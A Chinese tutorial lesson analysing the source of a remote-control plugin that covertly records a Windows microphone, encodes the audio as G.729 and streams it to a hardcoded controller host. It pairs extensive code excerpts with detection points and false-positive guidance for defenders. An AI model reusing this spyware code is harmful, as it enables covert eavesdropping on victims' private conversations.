第 38 课:主插件:语音监听
# 第 38 课:主插件:语音监听
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课讲 主插件\语音监听。它和上一课的播放监听不同:播放监听采集系统正在播放的声音,本课采集麦克风或录音线路输入。源码使用 Windows 传统 waveIn 多媒体 API 打开输入设备,准备多个固定大小缓冲区,系统填满缓冲后通过 MM_WIM_DATA 消息通知录音线程,随后代码把 PCM 音频压缩成 G.729 小包并发送。
本课只做源码阅读和防御分析,不提供任何非法监听、控制或规避检测的方法。
# 1. 先把概念讲清楚
麦克风采集链路通常有四个阶段:选设备、开设备、收缓冲、编码发送。本课源码也是这个顺序。
| 阶段 | Windows 机制 | 本工程对应代码 |
|---|---|---|
| 选设备 | waveInGetNumDevs、waveInGetDevCaps | CAudioManager::Initialize |
| 开设备 | waveInOpen | CWaveIn::OpenDev |
| 收缓冲 | waveInPrepareHeader、waveInAddBuffer、MM_WIM_DATA | CWaveIn::PerPareBuffer、AudioInThreadProc |
| 编码发送 | G.729 编码、网络 Send | CWaveRecord::GetData、CAudioCode::EncodeAudioData |
新手可以把 waveIn 理解成一套老式录音 API:程序先把空缓冲区交给系统,系统录满后发消息告诉程序“这块缓冲可以取了”。这和第 37 课的 WASAPI loopback 不同,声音来源也不同。

# 2. 涉及源码
| 路径 | 作用 |
|---|---|
主插件\语音监听\语音监听\语音监听.cpp | 插件入口,连接主控后创建 CAudioManager |
主插件\语音监听\语音监听\AudioManager.h/.cpp | 命令分发、设备列表发送、录音和播放对象编排 |
主插件\语音监听\语音监听\WaveRecord.h/.cpp | 继承录音设备层,负责编码和发送音频 |
主插件\语音监听\语音监听\WaveIn.h/.cpp | 打开输入设备、准备缓冲、接收 MM_WIM_DATA |
主插件\语音监听\语音监听\AudioCode.h/.cpp | G.729 编码和解码封装 |
主插件\语音监听\语音监听\WavePlayback.h/.cpp | 接收远端音频后的播放链路 |
主插件\语音监听\语音监听\MixIn.h/.cpp | 输入线路和混音器枚举辅助逻辑 |
G.729 说明: G.729 是语音压缩编码,常用于低码率语音传输。源码通过 G729a_32_d.lib、G729a_64_r.lib 这类静态库链接编码实现。G.729 本身是合法语音通信技术;在本工程里,它和麦克风采集、固定小包、远程发送组合出现,应按隐私外传风险分析。
# 3. 为什么这样拆类
| 类 | 负责什么 | 新手理解 |
|---|---|---|
CAudioManager | 收主控命令,创建录音和播放对象 | 调度中心 |
CWaveRecord | 拿到 PCM 后做音量处理、G.729 编码和发送 | 数据出口 |
CWaveIn | 和 Windows waveIn API 打交道 | 设备层 |
CAudioCode | 调用 G.729 编码/解码库 | 压缩层 |
CWavePlayback | 播放收到的远端音频 | 下行播放方向 |
这样拆的原因很实际:设备层要处理线程和缓冲,编码层只关心 PCM 到 G.729 的转换,Manager 只负责命令。分开后,每一段的触发条件和防御线索也更清楚。
# 4. 插件入口:连接后创建 CAudioManager
// 源码位置:主插件\语音监听\语音监听\语音监听.cpp:8-44
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo = { "plugmark", _T("iamasbcx.asuscomm.com"), 6000, 1, 0 };
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
// 连接成功后创建 CAudioManager。
// 防御分析:外联成功后枚举麦克风设备,是本课第一条关联线索。
CAudioManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# 5. Manager 构造:先枚举设备,再准备录音和播放
// 源码位置:主插件\语音监听\语音监听\AudioManager.cpp:16-28
CAudioManager::CAudioManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
// Initialize 会枚举 waveIn 输入设备,并把设备列表发给主控。
// 防御分析:设备枚举本身不等于采集,但它是采集前置动作。
Initialize();
// CWaveRecord 负责从 CWaveIn 得到 PCM 后编码发送。
m_pWaveRecord = new CWaveRecord(&m_ACode);
// 把网络客户端传给录音对象,后续 GetData 中会直接 Send。
// 防御分析:这里建立了“麦克风数据 -> 网络发送”的对象关系。
m_pWaveRecord->SetCommClient(pClient);
// 播放对象用于处理远端传来的音频,和麦克风采集方向不同。
m_pWavePlayback = new CWavePlayback(&m_ACode);
m_pWavePlayback->StartPlay();
m_buser = TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 6. 命令入口:开始、停止、播放、音量
CAudioManager::OnReceive 把网络 token 转成麦克风动作或播放动作。这里是主控命令触发本地设备访问的关键边界。
// 源码位置:主插件\语音监听\语音监听\AudioManager.cpp:40-98
void CAudioManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0])
{
case COMMAND_SEND_START:
// 开始采集麦克风输入。
// 防御分析:这个 token 到达后,后续应能看到 waveInOpen、waveInStart。
if (m_pWaveRecord->StartRec())
{
BYTE bToken = TOKEN_START_OK;
Send(&bToken, sizeof(BYTE));
}
else
{
BYTE bToken = TOKEN_STOP_ERROR;
Send(&bToken, sizeof(BYTE));
}
break;
case COMMAND_SEND_STOP:
if (m_pWaveRecord->StopRec())
{
BYTE bToken = TOKEN_STOP_OK;
Send(&bToken, sizeof(BYTE));
}
else
{
BYTE bToken = TOKEN_STOP_ERROR;
Send(&bToken, sizeof(BYTE));
}
// 源码这里缺少 break,会继续落入 COMMAND_SEND_DATE 分支。
// 防御分析:这是稳定性和逻辑风险,可能导致停止命令后仍把缓冲当播放数据处理。
case COMMAND_SEND_DATE:
// 下行播放方向:把主控传来的音频交给播放对象。
// 这不是麦克风采集,但说明模块具备双向音频能力。
m_pWavePlayback->Playback((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SET_IN:
{
// 设置输入音量倍数。它影响发送前的 PCM 数据处理。
int m_vol = 1;
memcpy(&m_vol, (char*)lpBuffer + 1, 4);
m_pWaveRecord->SetVolume((float)m_vol);
}
break;
case COMMAND_SET_OUT:
{
// 设置输出播放音量,属于下行播放方向。
int m_vol = 1;
memcpy(&m_vol, (char*)lpBuffer + 1, 4);
m_pWavePlayback->SetVolume((float)m_vol);
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
# 7. 设备枚举:先告诉主控有哪些输入设备
// 源码位置:主插件\语音监听\语音监听\AudioManager.cpp:101-145
bool CAudioManager::Initialize()
{
// 查询输入设备数量。这里对应麦克风/录音设备,不是播放端点。
UINT nDevNum = waveInGetNumDevs();
if (nDevNum == 0)
return false;
WAVE_INFO Wave_Info;
ZeroMemory(&Wave_Info, sizeof(WAVE_INFO));
for (UINT i = 0; i < nDevNum; i++)
{
WAVEINCAPS tagCaps;
// 读取设备名称,例如麦克风、阵列麦克风、虚拟输入设备等。
// 防御分析:waveInGetDevCaps 是麦克风枚举阶段的重要信号。
waveInGetDevCaps(i, &tagCaps, sizeof(tagCaps));
_tcscat_s(Wave_Info.str, 1024, tagCaps.szPname);
_tcscat_s(Wave_Info.str, 1024, _T("$"));
if (i == 0)
{
// 对第一个输入设备继续枚举输入线路。
// 防御分析:mixer 枚举说明程序不只是打开默认设备,还关心线路选择。
int nRet = m_pWaveRecord->EnumerateInputLines(tagCaps.szPname, Wave_Info.str);
if (nRet == -1)
{
Wave_Info.nIndex = 0;
_tcscat_s(Wave_Info.str, 1024, _T("N/A@"));
}
else
{
Wave_Info.nIndex = nRet;
}
_tcscat_s(Wave_Info.str, 1024, _T("|"));
}
}
// TOKEN_AUDIO_START 回传设备信息,让主控知道可选输入源。
DWORD dwBytesLength = 1 + sizeof(WAVE_INFO);
LPBYTE lpBuffer = new BYTE[dwBytesLength];
lpBuffer[0] = TOKEN_AUDIO_START;
memcpy(lpBuffer + 1, &Wave_Info, sizeof(WAVE_INFO));
Send(lpBuffer, dwBytesLength);
delete[] lpBuffer;
return true;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# 8. 录音启动流程:StartRec 串起四个步骤

CWaveIn::StartRec 是设备层的主线。它不是一次 API 调用,而是按顺序做:启动消息线程、打开设备、准备缓冲、开始录音。
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:181-210
BOOL CWaveIn::StartRec()
{
BOOL bRet = FALSE;
// 1. 启动录音消息线程。
// waveInOpen 使用 CALLBACK_THREAD,后续 MM_WIM_DATA 会投递到这个线程。
if (!StartThread())
goto Exit;
// 2. 打开输入设备。
if (!OpenDev())
goto Exit1;
// 3. 准备多个 WAVEHDR 缓冲区并交给系统。
if (!PerPareBuffer())
goto Exit2;
// 4. 调用 waveInStart,系统开始往缓冲区写入麦克风数据。
if (!OpenRecord())
goto Exit3;
bRet = TRUE;
goto Exit;
Exit3:
FreeBuffer();
Exit2:
CloseDev();
Exit1:
StopThread();
Exit:
return bRet;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
这种写法对新手很友好:从上到下就是录音链路的真实启动顺序。企业侧做行为关联时,也可以按这个顺序组织证据。
# 9. 打开输入设备:waveInOpen
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:93-124
BOOL CWaveIn::OpenDev()
{
if (m_bDevOpen)
return FALSE;
WAVEFORMATEX wfx;
wfx.wFormatTag = WAVE_FORMAT_PCM;
wfx.nChannels = m_wChannel;
wfx.nSamplesPerSec = m_dwSample;
wfx.nAvgBytesPerSec = m_wChannel * m_dwSample * m_wBit / 8;
wfx.nBlockAlign = m_wBit * m_wChannel / 8;
wfx.wBitsPerSample = m_wBit;
wfx.cbSize = 0;
// 先用 WAVE_FORMAT_QUERY 测试当前格式是否被设备支持。
// 防御分析:这一步还没有真正开始录音,但说明程序在探测输入设备能力。
m_mmr = waveInOpen(0, WAVE_MAPPER, &wfx, 0, 0, WAVE_FORMAT_QUERY);
if (m_mmr)
return FALSE;
// 真正打开输入设备。
// CALLBACK_THREAD 表示 waveIn 消息会投递到 m_dwAudioInId 指定的线程。
// 防御分析:waveInOpen + CALLBACK_THREAD 是传统录音程序的重要行为特征。
m_mmr = waveInOpen(
&m_hIn,
WAVE_MAPPER,
&wfx,
m_dwAudioInId,
s_dwInstance,
CALLBACK_THREAD);
if (m_mmr)
return FALSE;
m_bDevOpen = TRUE;
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# 10. 准备缓冲:为什么要 WAVEHDR
waveIn 的工作方式是“程序提供缓冲,系统填充缓冲”。所以在开始录音前,源码要准备多个 WAVEHDR,每个 WAVEHDR 指向一块固定大小的音频内存。
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:226-260
BOOL CWaveIn::PerPareBuffer()
{
if (m_bAllocBuffer)
return FALSE;
// 重置输入设备,清理旧状态。
m_mmr = waveInReset(m_hIn);
if (m_mmr)
return FALSE;
m_pHdr = new WAVEHDR[NUM_BUF];
for (UINT i = 0; i < NUM_BUF; i++)
{
ZeroMemory(&m_pHdr[i], sizeof(WAVEHDR));
// SIZE_AUDIO_FRAME 是每块 PCM 缓冲区大小。
// 防御分析:固定长度音频帧会导致网络侧出现稳定大小的小包。
m_pHdr[i].lpData = new char[SIZE_AUDIO_FRAME];
m_pHdr[i].dwBufferLength = SIZE_AUDIO_FRAME;
// PrepareHeader 把缓冲区交给 waveIn 设备前做初始化。
m_mmr = waveInPrepareHeader(m_hIn, &m_pHdr[i], sizeof(WAVEHDR));
if (m_mmr)
return FALSE;
// AddBuffer 把空缓冲提交给系统,等待录音数据写入。
m_mmr = waveInAddBuffer(m_hIn, &m_pHdr[i], sizeof(WAVEHDR));
if (m_mmr)
return FALSE;
}
m_bAllocBuffer = TRUE;
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 11. 开始录音:waveInStart
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:305-326
BOOL CWaveIn::OpenRecord()
{
if (m_bRecord)
return FALSE;
if (!m_hIn)
return FALSE;
// waveInStart 之后,系统开始采集输入设备声音,并填充前面 AddBuffer 的缓冲区。
// 防御分析:waveInStart 是“开始真实采集”的关键时间点。
m_mmr = waveInStart(m_hIn);
if (m_mmr)
return FALSE;
m_bRecord = TRUE;
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 12. MM_WIM_DATA:系统把录满的缓冲交给程序
当系统录满一块缓冲区后,会向录音线程投递 MM_WIM_DATA。源码在这个消息里取出 PCM,再重新把缓冲交回系统循环使用。
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:8-44
DWORD WINAPI CWaveIn::AudioInThreadProc(LPVOID lpParameter)
{
CWaveIn* pWaveIn = (CWaveIn*)lpParameter;
char buffer[102400];
MSG msg;
while (GetMessage(&msg, 0, 0, 0))
{
switch (msg.message)
{
case MM_WIM_DATA:
{
WAVEHDR* pWH = (WAVEHDR*)msg.lParam;
// 当前缓冲已完成,先取消 prepare 状态。
waveInUnprepareHeader((HWAVEIN)msg.wParam, pWH, sizeof(WAVEHDR));
// 只处理完整帧,避免半帧进入编码器。
if (pWH->dwBytesRecorded != SIZE_AUDIO_FRAME)
break;
// 复制 PCM 数据,再交给上层 GetData。
// CWaveRecord 重写了 GetData,所以这里实际会进入编码和发送逻辑。
memcpy(buffer, pWH->lpData, pWH->dwBytesRecorded);
pWaveIn->GetData(buffer, pWH->dwBytesRecorded);
// 重新提交这块缓冲,继续下一轮录音。
waveInPrepareHeader((HWAVEIN)msg.wParam, pWH, sizeof(WAVEHDR));
waveInAddBuffer((HWAVEIN)msg.wParam, pWH, sizeof(WAVEHDR));
break;
}
}
}
return (DWORD)msg.wParam;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 13. 编码和发送:CWaveRecord::GetData

CWaveRecord::GetData 是麦克风数据离开本机前的关键函数。它拿到 PCM,可能先调整音量,然后调用 CAudioCode::EncodeAudioData 压缩,最后用 TOKEN_SEND_DATE 发送。
// 源码位置:主插件\语音监听\语音监听\WaveRecord.cpp:34-95
void CWaveRecord::GetData(char* pBuffer, int iLen)
{
int iEncodeSize = 0;
EnterCriticalSection(&cs);
if (m_bSend)
{
if (m_volmultiple == 1)
{
// 正常路径:直接把 PCM 编码成 G.729。
// 防御分析:这里是“麦克风 PCM -> 压缩语音包”的关键转换点。
m_pACode->EncodeAudioData(pBuffer, iLen, m_AudioBuffer, &iEncodeSize);
LPBYTE lpPacket = new BYTE[iEncodeSize + 1];
lpPacket[0] = TOKEN_SEND_DATE;
memcpy(lpPacket + 1, m_AudioBuffer, iEncodeSize);
// 编码后的语音包通过插件网络通道发送。
// 防御分析:固定大小 G.729 小包和 waveInStart 在同一时间窗出现时,需要重点复核。
m_pCommClient->Send(lpPacket, iEncodeSize + 1);
SAFE_DELETE_AR(lpPacket);
}
else
{
// 音量调整路径:先修改 PCM 幅度,再编码发送。
// 防御分析:音量调整不是核心风险,核心仍然是采集、编码、外传。
char* newdate = new char[iLen];
memcpy(newdate, pBuffer, iLen);
for (int i = 0; i < (iLen / 2); i++)
{
volume_adjust((short*)newdate, m_volmultiple);
newdate += 2;
}
newdate = newdate - iLen;
m_pACode->EncodeAudioData(newdate, iLen, m_AudioBuffer, &iEncodeSize);
SAFE_DELETE_AR(newdate);
LPBYTE lpPacket = new BYTE[iEncodeSize + 1];
lpPacket[0] = TOKEN_SEND_DATE;
memcpy(lpPacket + 1, m_AudioBuffer, iEncodeSize);
m_pCommClient->Send(lpPacket, iEncodeSize + 1);
SAFE_DELETE_AR(lpPacket);
}
}
LeaveCriticalSection(&cs);
// 调用基类逻辑。原基类里主要是调试/统计逻辑。
CWaveIn::GetData(pBuffer, iLen);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# 14. G.729 编码为什么出现在这里
语音数据如果直接发 PCM,流量更大;G.729 把短语音帧压成更小的包,更适合实时语音传输。源码把每个 SIZE_AUDIO_FRAME 分成 6 段,每段调用一次 va_g729a_encoder。
// 源码位置:主插件\语音监听\语音监听\AudioCode.cpp:13-28,35-64
#ifdef _WIN64
#if _DEBUG
#pragma comment(lib,"G729a_64_d.lib")
#else
#pragma comment(lib,"G729a_64_r.lib")
#endif
#else
#if _DEBUG
#pragma comment(lib,"G729a_32_d.lib")
#else
#pragma comment(lib,"G729a_32_r.lib")
#endif
#endif
CAudioCode::CAudioCode()
{
// 初始化编码器和解码器。
// 防御分析:G729a_* 静态库和初始化函数说明进程具备语音压缩能力。
va_g729a_init_encoder();
va_g729a_init_decoder();
}
BOOL CAudioCode::EncodeAudioData(char* pin, int len, char* pout, int* lenr)
{
if (!pin || len != SIZE_AUDIO_FRAME || !pout)
return FALSE;
// 每 160 字节 PCM 调一次编码器,输出 10 字节压缩数据。
// 6 次调用合起来形成一个 SIZE_AUDIO_PACKED 小包。
va_g729a_encoder((short*)pin, (BYTE*)pout);
va_g729a_encoder((short*)(pin + 160), (BYTE*)pout + 10);
va_g729a_encoder((short*)(pin + 320), (BYTE*)pout + 20);
va_g729a_encoder((short*)(pin + 480), (BYTE*)pout + 30);
va_g729a_encoder((short*)(pin + 640), (BYTE*)pout + 40);
va_g729a_encoder((short*)(pin + 800), (BYTE*)pout + 50);
if (lenr)
*lenr = SIZE_AUDIO_PACKED;
return TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
企业侧不能因为看到 G.729 就直接定性。更可靠的证据链是:waveInOpen/waveInStart、MM_WIM_DATA、va_g729a_encoder、TOKEN_SEND_DATE、持续外联同时出现。
# 15. 数据流总结
主控 COMMAND_SEND_START
-> CAudioManager::OnReceive
-> CWaveRecord::StartRec
-> CWaveIn::StartThread
-> CWaveIn::OpenDev / waveInOpen
-> CWaveIn::PerPareBuffer / waveInPrepareHeader + waveInAddBuffer
-> CWaveIn::OpenRecord / waveInStart
-> MM_WIM_DATA
-> CWaveRecord::GetData
-> CAudioCode::EncodeAudioData
-> TOKEN_SEND_DATE + G.729 payload
-> Send
2
3
4
5
6
7
8
9
10
11
12
# 16. 风险面拆解

| 风险面 | 表现 | 企业关注点 |
|---|---|---|
| 麦克风访问 | waveInOpen 打开输入设备 | 是否有用户授权 |
| 输入线路 | mixer 枚举和线路选择 | 是否修改或探测录音线路 |
| 音频缓冲 | 固定大小 PCM 帧 | 是否持续产生语音帧 |
| 编码压缩 | G.729 小包 | 是否降低流量可见性 |
| 网络外传 | TOKEN_SEND_DATE 持续发送 | 目的地是否可信 |
| 隐私合规 | 环境声、会议声、客户信息 | 是否有明确告知和使用范围 |
# 17. 企业检测点

| 检测层 | 建议检测点 |
|---|---|
| 主机侧 | waveInGetNumDevs、waveInGetDevCaps、waveInOpen、waveInStart |
| 设备侧 | Windows 麦克风隐私访问记录、设备开启事件 |
| 线程侧 | CALLBACK_THREAD、录音线程消息队列、MM_WIM_DATA |
| 内存侧 | SIZE_AUDIO_FRAME PCM 缓冲、G.729 编码输出缓冲 |
| 网络侧 | 麦克风启动后持续小包上行,token 或包长稳定 |
| 进程侧 | 非会议、非录音软件访问麦克风 |
| 合规侧 | 是否有弹窗提示、授权记录、业务工单 |
# 18. 误报来源
| 误报来源 | 排查方式 |
|---|---|
| 会议软件 | 核对会议时间、签名、前台窗口和用户操作 |
| 浏览器语音通话 | 查看站点麦克风授权 |
| 录音软件 | 查看用户启动记录和保存路径 |
| 语音输入法 | 关联输入法进程、前台输入场景 |
| 合规远程协助工具 | 核对工单时间、授权范围和用户可见提示 |
# 19. 合法练习题
- 只读源码,画出
StartRec -> OpenDev -> PerPareBuffer -> OpenRecord -> MM_WIM_DATA -> GetData的流程。 - 对比第 37 课,说明
waveInOpen和AUDCLNT_STREAMFLAGS_LOOPBACK代表的音频来源差异。 - 根据
AudioManager.cpp,说明COMMAND_SEND_STOP缺少break可能带来什么稳定性问题。 - 设计一条检测逻辑:非白名单进程调用
waveInOpen后出现持续 G.729 小包外联。 - 写出三种可能误报的合法软件,并说明如何用用户授权记录排除。
# 20. 本课小结
语音监听模块的主线是传统 waveIn 录音链路:CAudioManager 接收命令,CWaveRecord::StartRec 打开输入设备并准备缓冲,MM_WIM_DATA 把录满的 PCM 交给 GetData,再由 CAudioCode 压成 G.729 小包并通过网络发送。
防御时要重点关注组合行为:非授权进程访问麦克风、固定音频帧持续产生、G.729 编码逻辑、持续小包上行和异常外联目的地。单独看到某个音频 API 不一定异常,但这些行为和外联同时出现时,就需要进入高优先级复核。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言